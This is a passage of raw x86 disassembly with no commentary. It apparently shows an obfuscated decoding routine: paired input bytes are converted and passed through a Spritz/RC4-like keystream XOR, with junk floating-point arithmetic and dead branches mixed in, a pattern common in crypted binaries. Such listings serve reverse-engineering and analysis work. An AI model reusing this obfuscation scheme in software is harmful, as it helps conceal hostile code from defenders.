mov dword [ebp - 0x35bc], ecx
mov dword [ebp - 0x35c0], 0
mov edx, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], edx
mov dword [ebp - 0x35c4], 0
mov eax, dword [ebp - 0x35bc]
or eax, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], eax
mov byte [ebp - 0x32a6], 0
mov cl, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], cl
mov byte [ebp - 0x32a8], 0
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + edx - 0x4c28]
mov byte [ebp - 0x32a8], al
movzx ecx, byte [ebp - 0x3261]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp - 0x3267]
add eax, edx
mov byte [ebp - 0x3267], al
mov cl, byte [ebp - 0x3261]
add cl, 1
mov byte [ebp - 0x3261], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp - 0x3267]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3261]
movzx eax, byte [ebp - 0x3268]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3261]
mov al, byte [ebp - 0x32a8]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x32a8]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp - 0x32a7]
add eax, edx
mov byte [ebp - 0x32a7], al
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp + edx - 0x4c28]
movzx edx, byte [ebp - 0x3261]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4c28]
xor ecx, eax
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp + edx - 0x4c28]
movzx edx, byte [ebp - 0x3288]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
movzx edx, byte [ebp - 0x32a7]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp + eax - 0x4c28]
xor ecx, edx
mov byte [ebp - 0x3268], cl
mov al, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], al
mov cl, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], cl
cmp dword [ebp - 0x3320], 0
jle 0x440b6d
movsx dx, byte [ebp - 0x32fd]
mov eax, dword [ebp - 0x3320]
mov word [ebp + eax*2 - 0x42e], dx
mov ecx, dword [ebp - 0x3320]
add ecx, 1
mov dword [ebp - 0x3320], ecx
mov edx, dword [ebp - 0x3490]
add edx, 1
mov dword [ebp - 0x3490], edx
mov eax, dword [ebp - 0x3320]
shl eax, 1
mov dword [ebp - 0x35ec], eax
mov ecx, dword [ebp - 0x35f0]
add ecx, dword [ebp - 0x35ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x359c], edx
movsd xmm0, qword [0xa6ecb0]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [0xa6eb38]
movsd qword [ebp - 0x4024], xmm0
movsd xmm0, qword [0xa6e9c8]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [0xa6e778]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3a48]
mulsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3a48]
subsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x4024]
addsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x4024], xmm0
movsd xmm0, qword [ebp - 0x3a48]
addsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3a48]
comisd xmm0, xmmword [ebp - 0x3c58]
jbe 0x440ccf
movsd xmm0, qword [ebp - 0x4024]
mulsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x4024], xmm0
movsd xmm0, qword [ebp - 0x3c58]
mulsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3c08]
mulsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3c58]
subsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
mov dword [ebp - 0x3598], 0x2a
jmp 0x440f9a
movsd xmm0, qword [ebp - 0x4024]
subsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x4024], xmm0
movsd xmm0, qword [ebp - 0x3c08]
addsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3c08]
addsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3a48]
addsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3c58]
divsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3c58]
divsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3a48]
mulsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3a48]
subsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3a48]
comisd xmm0, xmmword [ebp - 0x3c08]
jbe 0x440e06
movsd xmm0, qword [ebp - 0x3c58]
divsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3c08]
divsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x4024]
subsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x4024], xmm0
movsd xmm0, qword [ebp - 0x4024]
divsd xmm0, qword [ebp - 0x3c58]
movsd qword [ebp - 0x4024], xmm0
jmp 0x440f9a
movsd xmm0, qword [ebp - 0x3c58]
divsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3c58]
divsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3c08]
mulsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3a48]
divsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3a48]
mulsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3c08]
subsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3c08]
divsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3a48]
addsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3a48], xmm0
movsd xmm0, qword [ebp - 0x3a48]
comisd xmm0, xmmword [ebp - 0x3c08]
jbe 0x440f3a
movsd xmm0, qword [ebp - 0x4024]
subsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x4024], xmm0
movsd xmm0, qword [ebp - 0x3c58]
mulsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3c58]
divsd xmm0, qword [ebp - 0x3c08]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x4024]
subsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x4024], xmm0
jmp 0x440f9a
movsd xmm0, qword [ebp - 0x3c08]
addsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3c08]
mulsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
movsd xmm0, qword [ebp - 0x3c58]
subsd xmm0, qword [ebp - 0x4024]
movsd qword [ebp - 0x3c58], xmm0
movsd xmm0, qword [ebp - 0x3c08]
divsd xmm0, qword [ebp - 0x3a48]
movsd qword [ebp - 0x3c08], xmm0
mov eax, dword [ebp - 0x3320]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x35b8], ecx
mov edx, dword [ebp - 0x35f0]
add edx, dword [ebp - 0x35b8]
movzx eax, byte [edx]
mov dword [ebp - 0x3594], eax
mov dword [ebp - 0x3590], 0xa0
mov ecx, dword [ebp - 0x359c]
sub ecx, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], ecx
mov edx, dword [ebp - 0x3594]
sub edx, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], edx
mov eax, dword [ebp - 0x358c]
shl eax, 4
mov dword [ebp - 0x35bc], eax
movsd xmm0, qword [0xa6efa8]
movsd qword [ebp - 0x4098], xmm0
movsd xmm0, qword [0xa6eed0]
movsd qword [ebp - 0x4194], xmm0
movsd xmm0, qword [0xa6ed68]
movsd qword [ebp - 0x4774], xmm0
movsd xmm0, qword [0xa6eb40]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [0xa6e8d8]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x4194]
addsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x4194], xmm0
movsd xmm0, qword [ebp - 0x4194]
subsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x4194], xmm0
movsd xmm0, qword [ebp - 0x42b8]
addsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x42b8]
mulsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x4194]
subsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x4194], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
comisd xmm0, xmmword [ebp - 0x42b8]
jbe 0x4412d3
movsd xmm0, qword [ebp - 0x42b8]
mulsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
divsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
addsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
divsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x42b8]
divsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x4774]
addsd xmm0, qword [ebp - 0x42b8]
movsd qword [ebp - 0x4774], xmm0
movsd xmm0, qword [ebp - 0x4098]
addsd xmm0, qword [ebp - 0x4194]
movsd qword [ebp - 0x4098], xmm0
movsd xmm0, qword [ebp - 0x4098]
mulsd xmm0, qword [ebp - 0x4194]
movsd qword [ebp - 0x4098], xmm0
movsd xmm0, qword [ebp - 0x42b8]
addsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x42b8], xmm0
movsd xmm0, qword [ebp - 0x4098]
mulsd xmm0, qword [ebp - 0x4194]
movsd qword [ebp - 0x4098], xmm0
movsd xmm0, qword [ebp - 0x4098]
comisd xmm0, xmmword [ebp - 0x42b8]
jbe 0x441256
movsd xmm0, qword [ebp - 0x3dd4]
mulsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x4098]
divsd xmm0, qword [ebp - 0x4194]
movsd qword [ebp - 0x4098], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
addsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x4194]
divsd xmm0, qword [ebp - 0x4774]
movsd qword [ebp - 0x4194], xmm0
movsd xmm0, qword [ebp - 0x4194]
mulsd xmm0, qword [ebp - 0x4774]
movsd qword [ebp - 0x4194], xmm0
jmp 0x4412ce
movsd xmm0, qword [ebp - 0x4098]
addsd xmm0, qword [ebp - 0x4194]
movsd qword [ebp - 0x4098], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
mulsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x4774]
addsd xmm0, qword [ebp - 0x42b8]
movsd qword [ebp - 0x4774], xmm0
movsd xmm0, qword [ebp - 0x4194]
divsd xmm0, qword [ebp - 0x4774]
movsd qword [ebp - 0x4194], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
addsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
jmp 0x441357
movsd xmm0, qword [ebp - 0x4774]
mulsd xmm0, qword [ebp - 0x42b8]
movsd qword [ebp - 0x4774], xmm0
movsd xmm0, qword [ebp - 0x3dd4]
subsd xmm0, qword [ebp - 0x4098]
movsd qword [ebp - 0x3dd4], xmm0
movsd xmm0, qword [ebp - 0x4098]
addsd xmm0, qword [ebp - 0x4194]
movsd qword [ebp - 0x4098], xmm0
movsd xmm0, qword [ebp - 0x4194]
addsd xmm0, qword [ebp - 0x4774]
movsd qword [ebp - 0x4194], xmm0
movsd xmm0, qword [ebp - 0x42b8]
addsd xmm0, qword [ebp - 0x3dd4]
movsd qword [ebp - 0x42b8], xmm0
mov ecx, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], ecx
mov edx, dword [ebp - 0x35bc]
or edx, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], edx
mov al, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], al
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + ecx - 0x4c28]
mov byte [ebp - 0x32a8], dl
movzx eax, byte [ebp - 0x3261]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp - 0x3267]
add edx, ecx
mov byte [ebp - 0x3267], dl
mov al, byte [ebp - 0x3261]
add al, 1
mov byte [ebp - 0x3261], al
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp - 0x3267]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3261]
movzx edx, byte [ebp - 0x3268]
mov al, byte [ebp + ecx - 0x4c28]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x3261]
mov dl, byte [ebp - 0x32a8]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x32a8]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp - 0x32a7]
add edx, ecx
mov byte [ebp - 0x32a7], dl
movzx eax, byte [ebp - 0x32a6]
movzx ecx, byte [ebp - 0x3267]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx ecx, byte [ebp - 0x3261]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c28]
xor eax, edx
movzx ecx, byte [ebp - 0x3268]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx ecx, byte [ebp - 0x3288]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
movzx ecx, byte [ebp - 0x32a7]
movzx ecx, byte [ebp + ecx - 0x4c28]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp + edx - 0x4c28]
xor eax, ecx
mov byte [ebp - 0x3268], al
mov dl, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], dl
mov al, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], al
cmp dword [ebp - 0x3320], 0
jle 0x4414f8
movsx cx, byte [ebp - 0x32fd]
mov edx, dword [ebp - 0x3320]
mov word [ebp + edx*2 - 0x42e], cx
mov eax, dword [ebp - 0x3490]
add eax, 0x1d
mov dword [ebp - 0x3490], eax
mov ecx, dword [ebp - 0x3320]
add ecx, 1
mov dword [ebp - 0x4a8c], ecx
jmp 0x441527
mov edx, dword [ebp - 0x4a8c]
add edx, 1
mov dword [ebp - 0x4a8c], edx
mov eax, dword [ebp - 0x4a8c]
cmp eax, dword [ebp - 0x3490]
jge 0x44178a
mov ecx, dword [ebp - 0x3320]
add ecx, 1
mov dword [ebp - 0x3320], ecx
mov edx, dword [ebp - 0x3320]
shl edx, 1
mov dword [ebp - 0x35ec], edx
mov eax, dword [ebp - 0x35f0]
add eax, dword [ebp - 0x35ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x359c], ecx
mov dword [ebp - 0x3598], 0x2a
mov edx, dword [ebp - 0x3320]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x35b8], eax
mov ecx, dword [ebp - 0x35f0]
add ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3594], edx
mov dword [ebp - 0x3590], 0xa0
mov eax, dword [ebp - 0x359c]
sub eax, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], eax
mov ecx, dword [ebp - 0x3594]
sub ecx, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], ecx
mov edx, dword [ebp - 0x358c]
shl edx, 4
mov dword [ebp - 0x35bc], edx
mov eax, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], eax
mov ecx, dword [ebp - 0x35bc]
or ecx, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], ecx
mov dl, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], dl
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + eax - 0x4c28]
mov byte [ebp - 0x32a8], cl
movzx edx, byte [ebp - 0x3261]
movzx eax, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp - 0x3267]
add ecx, eax
mov byte [ebp - 0x3267], cl
mov dl, byte [ebp - 0x3261]
add dl, 1
mov byte [ebp - 0x3261], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp - 0x3267]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3261]
movzx ecx, byte [ebp - 0x3268]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3261]
mov cl, byte [ebp - 0x32a8]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp - 0x32a7]
add ecx, eax
mov byte [ebp - 0x32a7], cl
movzx edx, byte [ebp - 0x32a6]
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx eax, byte [ebp - 0x3261]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4c28]
xor edx, ecx
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx eax, byte [ebp - 0x3288]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
movzx eax, byte [ebp - 0x32a7]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp + ecx - 0x4c28]
xor edx, eax
mov byte [ebp - 0x3268], dl
mov cl, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], cl
mov dl, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], dl
cmp dword [ebp - 0x3320], 0
jle 0x441785
movsx ax, byte [ebp - 0x32fd]
mov ecx, dword [ebp - 0x3320]
mov word [ebp + ecx*2 - 0x42e], ax
jmp 0x441518
mov edx, dword [ebp - 0x3490]
add edx, 1
mov dword [ebp - 0x3490], edx
mov eax, dword [ebp - 0x3320]
add eax, 1
mov dword [ebp - 0x3320], eax
mov ecx, dword [ebp - 0x3490]
add ecx, 1
mov dword [ebp - 0x3490], ecx
mov edx, dword [ebp - 0x3320]
shl edx, 1
mov dword [ebp - 0x35ec], edx
mov eax, dword [ebp - 0x35f0]
add eax, dword [ebp - 0x35ec]
movzx ecx, byte [eax]
mov dword [ebp - 0x359c], ecx
mov dword [ebp - 0x3598], 0x2a
mov edx, dword [ebp - 0x3320]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x35b8], eax
mov ecx, dword [ebp - 0x35f0]
add ecx, dword [ebp - 0x35b8]
movzx edx, byte [ecx]
mov dword [ebp - 0x3594], edx
mov dword [ebp - 0x3590], 0xa0
mov eax, dword [ebp - 0x359c]
sub eax, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], eax
mov ecx, dword [ebp - 0x3594]
sub ecx, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], ecx
mov edx, dword [ebp - 0x358c]
shl edx, 4
mov dword [ebp - 0x35bc], edx
mov eax, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], eax
mov ecx, dword [ebp - 0x35bc]
or ecx, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], ecx
mov dl, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], dl
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + eax - 0x4c28]
mov byte [ebp - 0x32a8], cl
movzx edx, byte [ebp - 0x3261]
movzx eax, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp - 0x3267]
add ecx, eax
mov byte [ebp - 0x3267], cl
mov dl, byte [ebp - 0x3261]
add dl, 1
mov byte [ebp - 0x3261], dl
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp - 0x3267]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3261]
movzx ecx, byte [ebp - 0x3268]
mov dl, byte [ebp + eax - 0x4c28]
mov byte [ebp + ecx - 0x4c28], dl
movzx eax, byte [ebp - 0x3261]
mov cl, byte [ebp - 0x32a8]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp + edx - 0x4c28]
movzx ecx, byte [ebp - 0x32a7]
add ecx, eax
mov byte [ebp - 0x32a7], cl
movzx edx, byte [ebp - 0x32a6]
movzx eax, byte [ebp - 0x3267]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx eax, byte [ebp - 0x3261]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4c28]
xor edx, ecx
movzx eax, byte [ebp - 0x3268]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx eax, byte [ebp - 0x3288]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
movzx eax, byte [ebp - 0x32a7]
movzx eax, byte [ebp + eax - 0x4c28]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp + ecx - 0x4c28]
xor edx, eax
mov byte [ebp - 0x3268], dl
mov cl, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], cl
mov dl, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], dl
cmp dword [ebp - 0x3320], 0
jle 0x4419f4
movsx ax, byte [ebp - 0x32fd]
mov ecx, dword [ebp - 0x3320]
mov word [ebp + ecx*2 - 0x42e], ax
mov edx, dword [ebp - 0x3320]
add edx, 1
mov dword [ebp - 0x3320], edx
mov eax, dword [ebp - 0x3490]
add eax, 1
mov dword [ebp - 0x3490], eax
mov ecx, dword [ebp - 0x3320]
shl ecx, 1
mov dword [ebp - 0x35ec], ecx
mov edx, dword [ebp - 0x35f0]
add edx, dword [ebp - 0x35ec]
movzx eax, byte [edx]
mov dword [ebp - 0x359c], eax
mov dword [ebp - 0x3598], 0x2a
mov ecx, dword [ebp - 0x3320]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x35b8], edx
mov eax, dword [ebp - 0x35f0]
add eax, dword [ebp - 0x35b8]
movzx ecx, byte [eax]
mov dword [ebp - 0x3594], ecx
mov dword [ebp - 0x3590], 0xa0
mov edx, dword [ebp - 0x359c]
sub edx, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], edx
mov eax, dword [ebp - 0x3594]
sub eax, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], eax
mov ecx, dword [ebp - 0x358c]
shl ecx, 4
mov dword [ebp - 0x35bc], ecx
mov edx, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], edx
mov eax, dword [ebp - 0x35bc]
or eax, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], eax
mov cl, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], cl
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + edx - 0x4c28]
mov byte [ebp - 0x32a8], al
movzx ecx, byte [ebp - 0x3261]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp - 0x3267]
add eax, edx
mov byte [ebp - 0x3267], al
mov cl, byte [ebp - 0x3261]
add cl, 1
mov byte [ebp - 0x3261], cl
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp - 0x3267]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3261]
movzx eax, byte [ebp - 0x3268]
mov cl, byte [ebp + edx - 0x4c28]
mov byte [ebp + eax - 0x4c28], cl
movzx edx, byte [ebp - 0x3261]
mov al, byte [ebp - 0x32a8]
mov byte [ebp + edx - 0x4c28], al
movzx ecx, byte [ebp - 0x32a8]
movzx edx, byte [ebp + ecx - 0x4c28]
movzx eax, byte [ebp - 0x32a7]
add eax, edx
mov byte [ebp - 0x32a7], al
movzx ecx, byte [ebp - 0x32a6]
movzx edx, byte [ebp - 0x3267]
movzx eax, byte [ebp + edx - 0x4c28]
movzx edx, byte [ebp - 0x3261]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4c28]
xor ecx, eax
movzx edx, byte [ebp - 0x3268]
movzx eax, byte [ebp + edx - 0x4c28]
movzx edx, byte [ebp - 0x3288]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
movzx edx, byte [ebp - 0x32a7]
movzx edx, byte [ebp + edx - 0x4c28]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp + eax - 0x4c28]
xor ecx, edx
mov byte [ebp - 0x3268], cl
mov al, byte [ebp - 0x32a6]
mov byte [ebp - 0x3288], al
mov cl, byte [ebp - 0x3268]
mov byte [ebp - 0x32fd], cl
cmp dword [ebp - 0x3320], 0
jle 0x441c4d
movsx dx, byte [ebp - 0x32fd]
mov eax, dword [ebp - 0x3320]
mov word [ebp + eax*2 - 0x42e], dx
mov ecx, dword [ebp - 0x3320]
add ecx, 1
mov dword [ebp - 0x3320], ecx
mov edx, dword [ebp - 0x3490]
add edx, 1
mov dword [ebp - 0x3490], edx
mov eax, dword [ebp - 0x3320]
shl eax, 1
mov dword [ebp - 0x35ec], eax
mov ecx, dword [ebp - 0x35f0]
add ecx, dword [ebp - 0x35ec]
movzx edx, byte [ecx]
mov dword [ebp - 0x359c], edx
mov dword [ebp - 0x3598], 0x2a
mov eax, dword [ebp - 0x3320]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x35b8], ecx
mov edx, dword [ebp - 0x35f0]
add edx, dword [ebp - 0x35b8]
movzx eax, byte [edx]
mov dword [ebp - 0x3594], eax
mov dword [ebp - 0x3590], 0xa0
mov ecx, dword [ebp - 0x359c]
sub ecx, dword [ebp - 0x3598]
mov dword [ebp - 0x358c], ecx
mov edx, dword [ebp - 0x3594]
sub edx, dword [ebp - 0x3590]
mov dword [ebp - 0x3588], edx
mov eax, dword [ebp - 0x358c]
shl eax, 4
mov dword [ebp - 0x35bc], eax
mov ecx, dword [ebp - 0x3588]
mov dword [ebp - 0x35c0], ecx
mov edx, dword [ebp - 0x35bc]
or edx, dword [ebp - 0x35c0]
mov dword [ebp - 0x35c4], edx
mov al, byte [ebp - 0x35c4]
mov byte [ebp - 0x32a6], al
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + ecx - 0x4c28]
mov byte [ebp - 0x32a8], dl
movzx eax, byte [ebp - 0x3261]
movzx ecx, byte [ebp + eax - 0x4c28]
movzx edx, byte [ebp - 0x3267]
add edx, ecx
